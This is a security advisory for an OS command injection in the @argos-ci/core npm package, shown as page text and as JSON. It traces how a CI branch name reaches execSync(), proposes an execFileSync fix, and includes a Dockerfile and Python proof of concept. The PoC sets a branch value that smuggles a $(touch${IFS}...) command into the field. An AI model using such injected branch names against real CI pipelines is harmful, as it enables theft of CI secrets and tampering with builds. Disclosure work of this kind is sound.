ghsa-4x45-gxvp-6283

CVSS 7.5 osv_npm
Description

## CI Branch Name OS Command Injection in @argos-ci/core ### Summary `@argos-ci/core@6.2.0` passes attacker-controlled CI branch/ref strings directly into an `execSync()` template literal in `packages/core/src/ci-environment/git.ts:89`. When a CI project has `hasRemoteContentAccess: false`, the Argos upload flow calls `getMergeBaseCommitSha()`, which invokes `gitFetch()` with the unsanitized branch name. Because `execSync()` passes the command string to `/bin/sh -c`, shell metacharacters such as `$()` command substitution are evaluated before `git` runs, enabling an attacker who can influence the branch name (e.g., via a pull request) to execute arbitrary OS commands on the CI runner. CVSS Base Score: 7.5 (High). ### Details The vulnerable sink is in `packages/core/src/ci-environment/git.ts:87-90`: ```ts function gitFetch(input: { ref: string; depth: number; target: string }) { execSync( `git fetch --force --update-head-ok --depth ${input.depth} origin ${input.ref}:${input.target}`, ); } ``` `execSync()` with a template-literal string invokes `/bin/sh -c "<command>"`. The shell expands `$()`, backticks, `;`, and other metacharacters before spawning `git`, so any special characters present in `input.ref` or `input.target` are interpreted as shell instructions. A secondary sink exists at `packages/core/src/ci-environment/git.ts:67`: ```ts execSync(`git merge-base ${input.head} ${input.base}`) ``` **Complete data flow (source → sink):** 1. `packages/core/src/ci-environment/services/github-actions.ts:104` — reads `env.GITHUB_HEAD_REF` without validation (source). 2. `packages/core/src/ci-environment/services/github-actions.ts:165` — returns the branch from the CI context. 3. `packages/core/src/ci-environment/services/github-actions.ts:330` — stores the value as `branch`. 4. `packages/core/src/config.ts:119-123` — loads `ciEnv?.branch` into `config.branch`; only `format: String` is applied, no sanitization. 5. `packages/core/src/upload.ts:285` — calls `getMergeBaseCommitSha({ base, head: config.branch })` when the API returns `hasRemoteContentAccess: false`. 6. `packages/core/src/ci-environment/git.ts:123` — passes attacker-controlled value as `ref` to `gitFetch()`. 7. `packages/core/src/ci-environment/git.ts:89` — **sink**: `execSync(` git fetch ... origin ${input.ref}:${input.target} `)`. There is no allowlist, regex, or shell-escaping applied to the branch string at any point in the chain. **Recommended remediation** — replace template-literal `execSync` calls with `execFileSync` using argument arrays, which bypass the shell entirely: ```diff -import { execSync } from "node:child_process"; +import { execFileSync, execSync } from "node:child_process"; function gitFetch(input: { ref: string; depth: number; target: string }) { - execSync( - `git fetch --force --update-head-ok --depth ${input.depth} origin ${input.ref}:${input.target}`, - ); + execFileSync("git", [ + "fetch", "--force", "--update-head-ok", + "--depth", String(input.depth), + "origin", `${input.ref}:${input.target}`, + ]); } function gitMergeBase(input: { base: string; head: string }) { - return execSync(`git merge-base ${input.head} ${input.base}`).toString().trim(); + return execFileSync("git", ["merge-base", input.head, input.base], { encoding: "utf8" }).trim(); } ``` ### PoC **Prerequisites:** - Docker installed on the test machine. - Internet access to pull `node:22` and install `@argos-ci/cli@5.0.5` from npm. **Step 1 — Build the Docker image:** ```bash docker build -t argos-vuln-001 \ -f /path/to/vuln-001/Dockerfile \ /path/to/reports/npmAI_634_argos-ci__argos-javascript/ ``` The `Dockerfile`: - Uses `node:22` as the base. - Creates a local bare git repository at `/remote.git` and a working repository at `/git-workspace` with that bare repo as `origin`, so `git fetch` has a reachable remote. - Installs `@argos-ci/cli@5.1.0` (which depends on `@argos-ci/core@6.2.0`) globally from the public npm registry. - Copies `poc.py` as the container entrypoint. **Step 2 — Run the container:** ```bash docker run --rm argos-vuln-001 ``` **What the PoC (`poc.py`) does:** 1. Starts a local HTTP mock server on `127.0.0.1:7777` that returns `{"hasRemoteContentAccess": false}` for `GET /v2/project`, activating the `getMergeBaseCommitSha()` code path. 2. Sets `ARGOS_BRANCH` to `main$(touch${IFS}/tmp/argos-ci-cve-poc)`. - `$(...)` is shell command substitution. - `${IFS}` expands to a space character, bypassing naive space-based filters, making the injected command `touch /tmp/argos-ci-cve-poc`. 3. Runs `argos upload <empty-dir> --files '*.png'` with the malicious environment. 4. Checks for the marker file `/tmp/argos-ci-cve-poc`. **Expected output:** ``` ============================================================ [PASS] VULNERABILITY CONFIRMED [PASS] Marker file exists: /tmp/argos-ci-cve-poc [PASS] The shell command injected via ARGOS_BRANCH was executed [PASS] by execSync() inside gitFetch() (git.ts:88-90). ============================================================ ``` The marker file is created *before* `git` connects to the remote because the shell evaluates `$()` during command string construction. The CLI exits with a non-zero code later (due to mock API incomplete stubs), but the injection has already succeeded. **Manual reproduction (without Docker):** ```bash mkdir -p /tmp/argos-poc && cd /tmp/argos-poc git init && git remote add origin https://github.com/argos-ci/argos-javascript.git # Start a minimal mock API server (background) node -e " const http = require('http'); http.createServer((req, res) => { if (req.url === '/v2/project') { res.writeHead(200, {'content-type':'application/json'}); res.end(JSON.stringify({defaultBaseBranch:'main', hasRemoteContentAccess:false})); return; } res.writeHead(200, {'content-type':'application/json'}); res.end('{}'); }).listen(7777); " & mkdir empty rm -f /tmp/argos-ci-cve-poc ARGOS_API_BASE_URL=http://127.0.0.1:7777/v2/ \ ARGOS_TOKEN=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa \ ARGOS_COMMIT=0123456789abcdef0123456789abcdef01234567 \ ARGOS_BRANCH='main$(touch${IFS}/tmp/argos-ci-cve-poc)' \ npx -y @argos-ci/cli@5.0.5 upload empty --files '*.png' || true test -f /tmp/argos-ci-cve-poc && echo "COMMAND_EXECUTED" ``` ### Impact This is an OS Command Injection vulnerability (CWE-78). An attacker who can influence the branch or ref name used by a CI pipeline running Argos — for example, by opening a pull request with a crafted branch name, or by controlling the `GITHUB_HEAD_REF` / `ARGOS_BRANCH` environment variable — can execute arbitrary shell commands on the CI runner with the same privileges as the Argos upload process. **Who is impacted:** - Any organization using `@argos-ci/core` (or the CLI `@argos-ci/cli`) in a CI pipeline where the project's Argos configuration has `hasRemoteContentAccess: false`. This configuration is the default for projects that have not connected a Git provider integration, covering a significant portion of Argos users. - The risk is highest in `pull_request_target` or other privileged CI workflow patterns where the workflow runs with repository secrets but also processes attacker-supplied branch names from forks. - Successful exploitation can lead to: exfiltration of CI secrets (tokens, API keys, cloud credentials), supply-chain compromise of build artifacts, lateral movement within CI infrastructure, and full compromise of the CI runner environment. ### Reproduction artifacts #### `Dockerfile` ```dockerfile FROM node:22 # Install git and Python 3 RUN apt-get update && \ apt-get install -y --no-install-recommends git python3 && \ rm -rf /var/lib/apt/lists/* # Configure git identity for commits inside the container RUN git config --global user.email "poc@test.local" && \ git config --global user.name "PoC Test" && \ git config --global init.defaultBranch main # Create a local bare repository that acts as the "origin" remote. # This lets git fetch succeed (reaching a real remote is not required for the # injection -- the shell expands $() before git connects -- but a working # remote means getMergeBaseCommitSha() returns a real SHA and the full # upload code-path is exercised without extra noise from git errors.) RUN git init --bare /remote.git # Create the working repository with the bare repo as origin RUN git init /git-workspace && \ cd /git-workspace && \ git remote add origin /remote.git && \ echo "initial" > README.md && \ git add README.md && \ git commit -m "Initial commit" && \ git branch -M main && \ git push -u origin main # Copy the cloned repository source for reference / source evidence. # The vulnerable code lives in packages/core/src/ci-environment/git.ts:87-90. COPY repo /argos-repo # Install the vulnerable @argos-ci/cli@5.1.0 (depends on @argos-ci/core@6.2.0) # from the public npm registry -- same version as the cloned repository. RUN npm install -g @argos-ci/cli@5.1.0 --loglevel=warn # Copy the Python PoC script COPY vuln-001/poc.py /poc.py # Run from inside the git workspace so that git commands find the correct repo WORKDIR /git-workspace ENTRYPOINT ["python3", "/poc.py"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ PoC for VULN-001 -- OS Command Injection in @argos-ci/core@6.2.0 Vulnerability: CWE-78 (OS Command Injection) Affected file: packages/core/src/ci-environment/git.ts:87-90 The gitFetch() function passes user-controlled ref strings directly into an execSync() template literal. Node.js execSync() invokes /bin/sh -c "...", so shell metacharacters in the string -- including $() command substitution -- are evaluated before git runs. Attack chain (source -> sink): env.GITHUB_HEAD_REF / ARGOS_BRANCH -> config.ts:119-122 (String cast, no sanitisation) -> upload.ts:285 getMergeBaseCommitSha({ head: config.branch }) -> git.ts:123 gitFetch({ ref: input.head, ... }) -> git.ts:89 execSync(`git fetch ... origin ${input.ref}:${input.target}`) ^^^^^^^^ shell injection sink This script: 1. Starts a local HTTP mock server that returns hasRemoteContentAccess=false for GET /v2/project, triggering the getMergeBaseCommitSha() code-path. 2. Invokes the argos CLI with ARGOS_BRANCH set to a malicious value containing a $() command substitution. 3. Checks for a filesystem artefact that proves execution. """ import json import os import subprocess import sys import threading from http.server import BaseHTTPRequestHandler, HTTPServer # File created by the injected command -- its existence proves execution. MARKER_FILE = "/tmp/argos-ci-cve-poc" # Port for the mock Argos API server. MOCK_PORT = 7777 class MockArgosAPI(BaseHTTPRequestHandler): """Minimal mock of the Argos REST API. Only two responses matter: - GET /v2/project -- must return hasRemoteContentAccess=false to trigger the git-based merge-base discovery code-path. - POST /v2/builds -- needs to return a recognisable structure so the SDK does not abort before we can observe the side-effect. """ def log_message(self, fmt, *args): # Suppress per-request log noise; PoC progress messages are enough. pass def _send_json(self, status: int, body: dict) -> None: raw = json.dumps(body).encode() self.send_response(status) self.send_header("Content-Type", "application/json") self.send_header("Content-Length", str(len(raw))) self.end_headers() self.wfile.write(raw) def do_GET(self): if self.path.rstrip("/") == "/v2/project": # hasRemoteContentAccess=false is the precondition that makes the # SDK call getMergeBaseCommitSha() instead of fetching from the # Git provider API. This is the key to reaching the sink. self._send_json(200, { "id": "proj-1", "defaultBaseBranch": "main", "hasRemoteContentAccess": False, }) else: self._send_json(200, {}) def do_POST(self): # Drain request body to keep the connection clean. length = int(self.headers.get("Content-Length", 0)) self.rfile.read(length) if "/builds" in self.path: # Return the minimal structure the SDK dereferences after POST /builds. self._send_json(201, { "id": "build-1", "url": "http://localhost/build/1", "screenshots": [], "pwTraces": [], }) else: self._send_json(200, {}) def do_PUT(self): length = int(self.headers.get("Content-Length", 0)) self.rfile.read(length) self._send_json(200, {}) def start_mock_server() -> HTTPServer: server = HTTPServer(("127.0.0.1", MOCK_PORT), MockArgosAPI) thread = threading.Thread(target=server.serve_forever, daemon=True) thread.start() return server def main(): print("[*] VULN-001 PoC -- @argos-ci/core@6.1.1 OS Command Injection") print("[*] Source sink: packages/core/src/ci-environment/git.ts:87-90") print() # Remove any stale marker from a previous run. if os.path.exists(MARKER_FILE): os.remove(MARKER_FILE) # Start the mock Argos API. server = start_mock_server() print(f"[*] Mock Argos API server listening on 127.0.0.1:{MOCK_PORT}") # Build the malicious branch name. # Breakdown: # main -- valid branch prefix so git ref looks plausible # $(...) -- shell command substitution, evaluated by /bin/sh # touch${IFS}<path> -- ${IFS} expands to a space, bypassing naive space # filters and forming "touch <path>" malicious_branch = f"main$(touch${{IFS}}{MARKER_FILE})" print(f"[*] Malicious ARGOS_BRANCH value: {malicious_branch}") print(f"[*] Expected shell expansion: touch {MARKER_FILE}") print() # Empty upload directory -- no real screenshots needed. The injection # occurs during merge-base discovery before any upload loop runs. upload_dir = "/tmp/argos-empty-upload" os.makedirs(upload_dir, exist_ok=True) env = dict(os.environ) env.update({ "ARGOS_API_BASE_URL": f"http://127.0.0.1:{MOCK_PORT}/v2/", "ARGOS_TOKEN": "a" * 40, "ARGOS_COMMIT": "0" * 40, "ARGOS_BRANCH": malicious_branch, # Disable update-notifier noise inside the CLI. "NO_UPDATE_NOTIFIER": "1", }) print("[*] Running: argos upload <empty-dir> --files '*.png'") result = subprocess.run( ["argos", "upload", upload_dir, "--files", "*.png"], env=env, capture_output=True, text=True, # CWD must be a git repository with an 'origin' remote so that # git fetch has a valid context. /git-workspace is prepared in the # Dockerfile for this purpose. cwd="/git-workspace", ) print(f"[*] CLI exit code : {result.returncode}") if result.stdout.strip(): print(f"[*] CLI stdout : {result.stdout.strip()[:600]}") if result.stderr.strip(): print(f"[*] CLI stderr : {result.stderr.strip()[:600]}") server.shutdown() print() # --- Verdict --- if os.path.exists(MARKER_FILE): print("=" * 60) print("[PASS] VULNERABILITY CONFIRMED") print(f"[PASS] Marker file exists: {MARKER_FILE}") print("[PASS] The shell command injected via ARGOS_BRANCH was executed") print("[PASS] by execSync() inside gitFetch() (git.ts:88-90).") print("=" * 60) sys.exit(0) else: print("=" * 60) print("[FAIL] Marker file not found -- injection did not trigger.") print("[FAIL] Check that CWD is a git repo with a reachable 'origin'.") print("[FAIL] Check that the mock server returned hasRemoteContentAccess=false.") print("=" * 60) sys.exit(1) if __name__ == "__main__": main() ```

Timeline
Published
unknown
Last Modified
unknown
CVSS Details

CVSS details not available.

Affected Products

No product information available.

Weaknesses (CWE)
References
Linked Vulnerabilities

No linked vulnerabilities found.

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "<= 6.2.0",
        "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-4x45-gxvp-6283/GHSA-4x45-gxvp-6283.json"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@argos-ci/core",
        "purl": "pkg:npm/%40argos-ci/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.2.1"
            }
          ],
          "type": "SEMVER"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59960"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-10T22:34:17Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## CI Branch Name OS Command Injection in @argos-ci/core\n\n### Summary\n\n`@argos-ci/core@6.2.0` passes attacker-controlled CI branch/ref strings directly into an `execSync()` template literal in `packages/core/src/ci-environment/git.ts:89`. When a CI project has `hasRemoteContentAccess: false`, the Argos upload flow calls `getMergeBaseCommitSha()`, which invokes `gitFetch()` with the unsanitized branch name. Because `execSync()` passes the command string to `/bin/sh -c`, shell metacharacters such as `$()` command substitution are evaluated before `git` runs, enabling an attacker who can influence the branch name (e.g., via a pull request) to execute arbitrary OS commands on the CI runner. CVSS Base Score: 7.5 (High).\n\n### Details\n\nThe vulnerable sink is in `packages/core/src/ci-environment/git.ts:87-90`:\n\n```ts\nfunction gitFetch(input: { ref: string; depth: number; target: string }) {\n  execSync(\n    `git fetch --force --update-head-ok --depth ${input.depth} origin ${input.ref}:${input.target}`,\n  );\n}\n```\n\n`execSync()` with a template-literal string invokes `/bin/sh -c \"<command>\"`. The shell expands `$()`, backticks, `;`, and other metacharacters before spawning `git`, so any special characters present in `input.ref` or `input.target` are interpreted as shell instructions.\n\nA secondary sink exists at `packages/core/src/ci-environment/git.ts:67`:\n\n```ts\nexecSync(`git merge-base ${input.head} ${input.base}`)\n```\n\n**Complete data flow (source → sink):**\n\n1. `packages/core/src/ci-environment/services/github-actions.ts:104` — reads `env.GITHUB_HEAD_REF` without validation (source).\n2. `packages/core/src/ci-environment/services/github-actions.ts:165` — returns the branch from the CI context.\n3. `packages/core/src/ci-environment/services/github-actions.ts:330` — stores the value as `branch`.\n4. `packages/core/src/config.ts:119-123` — loads `ciEnv?.branch` into `config.branch`; only `format: String` is applied, no sanitization.\n5. `packages/core/src/upload.ts:285` — calls `getMergeBaseCommitSha({ base, head: config.branch })` when the API returns `hasRemoteContentAccess: false`.\n6. `packages/core/src/ci-environment/git.ts:123` — passes attacker-controlled value as `ref` to `gitFetch()`.\n7. `packages/core/src/ci-environment/git.ts:89` — **sink**: `execSync(` git fetch ... origin ${input.ref}:${input.target} `)`.\n\nThere is no allowlist, regex, or shell-escaping applied to the branch string at any point in the chain.\n\n**Recommended remediation** — replace template-literal `execSync` calls with `execFileSync` using argument arrays, which bypass the shell entirely:\n\n```diff\n-import { execSync } from \"node:child_process\";\n+import { execFileSync, execSync } from \"node:child_process\";\n\n function gitFetch(input: { ref: string; depth: number; target: string }) {\n-  execSync(\n-    `git fetch --force --update-head-ok --depth ${input.depth} origin ${input.ref}:${input.target}`,\n-  );\n+  execFileSync(\"git\", [\n+    \"fetch\", \"--force\", \"--update-head-ok\",\n+    \"--depth\", String(input.depth),\n+    \"origin\", `${input.ref}:${input.target}`,\n+  ]);\n }\n\n function gitMergeBase(input: { base: string; head: string }) {\n-  return execSync(`git merge-base ${input.head} ${input.base}`).toString().trim();\n+  return execFileSync(\"git\", [\"merge-base\", input.head, input.base], { encoding: \"utf8\" }).trim();\n }\n```\n\n### PoC\n\n**Prerequisites:**\n- Docker installed on the test machine.\n- Internet access to pull `node:22` and install `@argos-ci/cli@5.0.5` from npm.\n\n**Step 1 — Build the Docker image:**\n\n```bash\ndocker build -t argos-vuln-001 \\\n  -f /path/to/vuln-001/Dockerfile \\\n  /path/to/reports/npmAI_634_argos-ci__argos-javascript/\n```\n\nThe `Dockerfile`:\n- Uses `node:22` as the base.\n- Creates a local bare git repository at `/remote.git` and a working repository at `/git-workspace` with that bare repo as `origin`, so `git fetch` has a reachable remote.\n- Installs `@argos-ci/cli@5.1.0` (which depends on `@argos-ci/core@6.2.0`) globally from the public npm registry.\n- Copies `poc.py` as the container entrypoint.\n\n**Step 2 — Run the container:**\n\n```bash\ndocker run --rm argos-vuln-001\n```\n\n**What the PoC (`poc.py`) does:**\n\n1. Starts a local HTTP mock server on `127.0.0.1:7777` that returns `{\"hasRemoteContentAccess\": false}` for `GET /v2/project`, activating the `getMergeBaseCommitSha()` code path.\n2. Sets `ARGOS_BRANCH` to `main$(touch${IFS}/tmp/argos-ci-cve-poc)`.  \n   - `$(...)` is shell command substitution.  \n   - `${IFS}` expands to a space character, bypassing naive space-based filters, making the injected command `touch /tmp/argos-ci-cve-poc`.\n3. Runs `argos upload <empty-dir> --files '*.png'` with the malicious environment.\n4. Checks for the marker file `/tmp/argos-ci-cve-poc`.\n\n**Expected output:**\n\n```\n============================================================\n[PASS] VULNERABILITY CONFIRMED\n[PASS] Marker file exists: /tmp/argos-ci-cve-poc\n[PASS] The shell command injected via ARGOS_BRANCH was executed\n[PASS] by execSync() inside gitFetch() (git.ts:88-90).\n============================================================\n```\n\nThe marker file is created *before* `git` connects to the remote because the shell evaluates `$()` during command string construction. The CLI exits with a non-zero code later (due to mock API incomplete stubs), but the injection has already succeeded.\n\n**Manual reproduction (without Docker):**\n\n```bash\nmkdir -p /tmp/argos-poc && cd /tmp/argos-poc\ngit init && git remote add origin https://github.com/argos-ci/argos-javascript.git\n\n# Start a minimal mock API server (background)\nnode -e \"\nconst http = require('http');\nhttp.createServer((req, res) => {\n  if (req.url === '/v2/project') {\n    res.writeHead(200, {'content-type':'application/json'});\n    res.end(JSON.stringify({defaultBaseBranch:'main', hasRemoteContentAccess:false}));\n    return;\n  }\n  res.writeHead(200, {'content-type':'application/json'});\n  res.end('{}');\n}).listen(7777);\n\" &\n\nmkdir empty\nrm -f /tmp/argos-ci-cve-poc\nARGOS_API_BASE_URL=http://127.0.0.1:7777/v2/ \\\nARGOS_TOKEN=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa \\\nARGOS_COMMIT=0123456789abcdef0123456789abcdef01234567 \\\nARGOS_BRANCH='main$(touch${IFS}/tmp/argos-ci-cve-poc)' \\\nnpx -y @argos-ci/cli@5.0.5 upload empty --files '*.png' || true\n\ntest -f /tmp/argos-ci-cve-poc && echo \"COMMAND_EXECUTED\"\n```\n\n### Impact\n\nThis is an OS Command Injection vulnerability (CWE-78). An attacker who can influence the branch or ref name used by a CI pipeline running Argos — for example, by opening a pull request with a crafted branch name, or by controlling the `GITHUB_HEAD_REF` / `ARGOS_BRANCH` environment variable — can execute arbitrary shell commands on the CI runner with the same privileges as the Argos upload process.\n\n**Who is impacted:**\n\n- Any organization using `@argos-ci/core` (or the CLI `@argos-ci/cli`) in a CI pipeline where the project's Argos configuration has `hasRemoteContentAccess: false`. This configuration is the default for projects that have not connected a Git provider integration, covering a significant portion of Argos users.\n- The risk is highest in `pull_request_target` or other privileged CI workflow patterns where the workflow runs with repository secrets but also processes attacker-supplied branch names from forks.\n- Successful exploitation can lead to: exfiltration of CI secrets (tokens, API keys, cloud credentials), supply-chain compromise of build artifacts, lateral movement within CI infrastructure, and full compromise of the CI runner environment.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM node:22\n\n# Install git and Python 3\nRUN apt-get update && \\\n    apt-get install -y --no-install-recommends git python3 && \\\n    rm -rf /var/lib/apt/lists/*\n\n# Configure git identity for commits inside the container\nRUN git config --global user.email \"poc@test.local\" && \\\n    git config --global user.name \"PoC Test\" && \\\n    git config --global init.defaultBranch main\n\n# Create a local bare repository that acts as the \"origin\" remote.\n# This lets git fetch succeed (reaching a real remote is not required for the\n# injection -- the shell expands $() before git connects -- but a working\n# remote means getMergeBaseCommitSha() returns a real SHA and the full\n# upload code-path is exercised without extra noise from git errors.)\nRUN git init --bare /remote.git\n\n# Create the working repository with the bare repo as origin\nRUN git init /git-workspace && \\\n    cd /git-workspace && \\\n    git remote add origin /remote.git && \\\n    echo \"initial\" > README.md && \\\n    git add README.md && \\\n    git commit -m \"Initial commit\" && \\\n    git branch -M main && \\\n    git push -u origin main\n\n# Copy the cloned repository source for reference / source evidence.\n# The vulnerable code lives in packages/core/src/ci-environment/git.ts:87-90.\nCOPY repo /argos-repo\n\n# Install the vulnerable @argos-ci/cli@5.1.0 (depends on @argos-ci/core@6.2.0)\n# from the public npm registry -- same version as the cloned repository.\nRUN npm install -g @argos-ci/cli@5.1.0 --loglevel=warn\n\n# Copy the Python PoC script\nCOPY vuln-001/poc.py /poc.py\n\n# Run from inside the git workspace so that git commands find the correct repo\nWORKDIR /git-workspace\n\nENTRYPOINT [\"python3\", \"/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001 -- OS Command Injection in @argos-ci/core@6.2.0\n\nVulnerability: CWE-78 (OS Command Injection)\nAffected file: packages/core/src/ci-environment/git.ts:87-90\n\nThe gitFetch() function passes user-controlled ref strings directly into an\nexecSync() template literal.  Node.js execSync() invokes /bin/sh -c \"...\", so\nshell metacharacters in the string -- including $() command substitution --\nare evaluated before git runs.\n\nAttack chain (source -> sink):\n  env.GITHUB_HEAD_REF / ARGOS_BRANCH\n    -> config.ts:119-122 (String cast, no sanitisation)\n    -> upload.ts:285   getMergeBaseCommitSha({ head: config.branch })\n    -> git.ts:123      gitFetch({ ref: input.head, ... })\n    -> git.ts:89       execSync(`git fetch ... origin ${input.ref}:${input.target}`)\n                       ^^^^^^^^ shell injection sink\n\nThis script:\n  1. Starts a local HTTP mock server that returns hasRemoteContentAccess=false\n     for GET /v2/project, triggering the getMergeBaseCommitSha() code-path.\n  2. Invokes the argos CLI with ARGOS_BRANCH set to a malicious value\n     containing a $() command substitution.\n  3. Checks for a filesystem artefact that proves execution.\n\"\"\"\n\nimport json\nimport os\nimport subprocess\nimport sys\nimport threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\n# File created by the injected command -- its existence proves execution.\nMARKER_FILE = \"/tmp/argos-ci-cve-poc\"\n\n# Port for the mock Argos API server.\nMOCK_PORT = 7777\n\n\nclass MockArgosAPI(BaseHTTPRequestHandler):\n    \"\"\"Minimal mock of the Argos REST API.\n\n    Only two responses matter:\n    - GET  /v2/project -- must return hasRemoteContentAccess=false to trigger\n                          the git-based merge-base discovery code-path.\n    - POST /v2/builds  -- needs to return a recognisable structure so the SDK\n                          does not abort before we can observe the side-effect.\n    \"\"\"\n\n    def log_message(self, fmt, *args):\n        # Suppress per-request log noise; PoC progress messages are enough.\n        pass\n\n    def _send_json(self, status: int, body: dict) -> None:\n        raw = json.dumps(body).encode()\n        self.send_response(status)\n        self.send_header(\"Content-Type\", \"application/json\")\n        self.send_header(\"Content-Length\", str(len(raw)))\n        self.end_headers()\n        self.wfile.write(raw)\n\n    def do_GET(self):\n        if self.path.rstrip(\"/\") == \"/v2/project\":\n            # hasRemoteContentAccess=false is the precondition that makes the\n            # SDK call getMergeBaseCommitSha() instead of fetching from the\n            # Git provider API.  This is the key to reaching the sink.\n            self._send_json(200, {\n                \"id\": \"proj-1\",\n                \"defaultBaseBranch\": \"main\",\n                \"hasRemoteContentAccess\": False,\n            })\n        else:\n            self._send_json(200, {})\n\n    def do_POST(self):\n        # Drain request body to keep the connection clean.\n        length = int(self.headers.get(\"Content-Length\", 0))\n        self.rfile.read(length)\n        if \"/builds\" in self.path:\n            # Return the minimal structure the SDK dereferences after POST /builds.\n            self._send_json(201, {\n                \"id\": \"build-1\",\n                \"url\": \"http://localhost/build/1\",\n                \"screenshots\": [],\n                \"pwTraces\": [],\n            })\n        else:\n            self._send_json(200, {})\n\n    def do_PUT(self):\n        length = int(self.headers.get(\"Content-Length\", 0))\n        self.rfile.read(length)\n        self._send_json(200, {})\n\n\ndef start_mock_server() -> HTTPServer:\n    server = HTTPServer((\"127.0.0.1\", MOCK_PORT), MockArgosAPI)\n    thread = threading.Thread(target=server.serve_forever, daemon=True)\n    thread.start()\n    return server\n\n\ndef main():\n    print(\"[*] VULN-001 PoC -- @argos-ci/core@6.1.1 OS Command Injection\")\n    print(\"[*] Source sink: packages/core/src/ci-environment/git.ts:87-90\")\n    print()\n\n    # Remove any stale marker from a previous run.\n    if os.path.exists(MARKER_FILE):\n        os.remove(MARKER_FILE)\n\n    # Start the mock Argos API.\n    server = start_mock_server()\n    print(f\"[*] Mock Argos API server listening on 127.0.0.1:{MOCK_PORT}\")\n\n    # Build the malicious branch name.\n    # Breakdown:\n    #   main              -- valid branch prefix so git ref looks plausible\n    #   $(...)            -- shell command substitution, evaluated by /bin/sh\n    #   touch${IFS}<path> -- ${IFS} expands to a space, bypassing naive space\n    #                        filters and forming \"touch <path>\"\n    malicious_branch = f\"main$(touch${{IFS}}{MARKER_FILE})\"\n    print(f\"[*] Malicious ARGOS_BRANCH value: {malicious_branch}\")\n    print(f\"[*] Expected shell expansion: touch {MARKER_FILE}\")\n    print()\n\n    # Empty upload directory -- no real screenshots needed.  The injection\n    # occurs during merge-base discovery before any upload loop runs.\n    upload_dir = \"/tmp/argos-empty-upload\"\n    os.makedirs(upload_dir, exist_ok=True)\n\n    env = dict(os.environ)\n    env.update({\n        \"ARGOS_API_BASE_URL\": f\"http://127.0.0.1:{MOCK_PORT}/v2/\",\n        \"ARGOS_TOKEN\": \"a\" * 40,\n        \"ARGOS_COMMIT\": \"0\" * 40,\n        \"ARGOS_BRANCH\": malicious_branch,\n        # Disable update-notifier noise inside the CLI.\n        \"NO_UPDATE_NOTIFIER\": \"1\",\n    })\n\n    print(\"[*] Running: argos upload <empty-dir> --files '*.png'\")\n    result = subprocess.run(\n        [\"argos\", \"upload\", upload_dir, \"--files\", \"*.png\"],\n        env=env,\n        capture_output=True,\n        text=True,\n        # CWD must be a git repository with an 'origin' remote so that\n        # git fetch has a valid context.  /git-workspace is prepared in the\n        # Dockerfile for this purpose.\n        cwd=\"/git-workspace\",\n    )\n\n    print(f\"[*] CLI exit code : {result.returncode}\")\n    if result.stdout.strip():\n        print(f\"[*] CLI stdout    : {result.stdout.strip()[:600]}\")\n    if result.stderr.strip():\n        print(f\"[*] CLI stderr    : {result.stderr.strip()[:600]}\")\n\n    server.shutdown()\n    print()\n\n    # --- Verdict ---\n    if os.path.exists(MARKER_FILE):\n        print(\"=\" * 60)\n        print(\"[PASS] VULNERABILITY CONFIRMED\")\n        print(f\"[PASS] Marker file exists: {MARKER_FILE}\")\n        print(\"[PASS] The shell command injected via ARGOS_BRANCH was executed\")\n        print(\"[PASS] by execSync() inside gitFetch() (git.ts:88-90).\")\n        print(\"=\" * 60)\n        sys.exit(0)\n    else:\n        print(\"=\" * 60)\n        print(\"[FAIL] Marker file not found -- injection did not trigger.\")\n        print(\"[FAIL] Check that CWD is a git repo with a reachable 'origin'.\")\n        print(\"[FAIL] Check that the mock server returned hasRemoteContentAccess=false.\")\n        print(\"=\" * 60)\n        sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n```",
  "id": "GHSA-4x45-gxvp-6283",
  "modified": "2026-09-10T22:45:04.058412809Z",
  "published": "2026-09-10T22:34:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/argos-ci/argos-javascript/security/advisories/GHSA-4x45-gxvp-6283"
    },
    {
      "type": "WEB",
      "url": "https://github.com/argos-ci/argos-javascript/commit/8355f3af3be3f4fe361d58a688d21535cf672717"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/argos-ci/argos-javascript"
    },
    {
      "type": "WEB",
      "url": "https://github.com/argos-ci/argos-javascript/releases/tag/@argos-ci/core@6.2.1"
    }
  ],
  "schema_version": "1.9.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@argos-ci/core: CI Branch Name OS Command Injection"
}
View JSON API Download JSON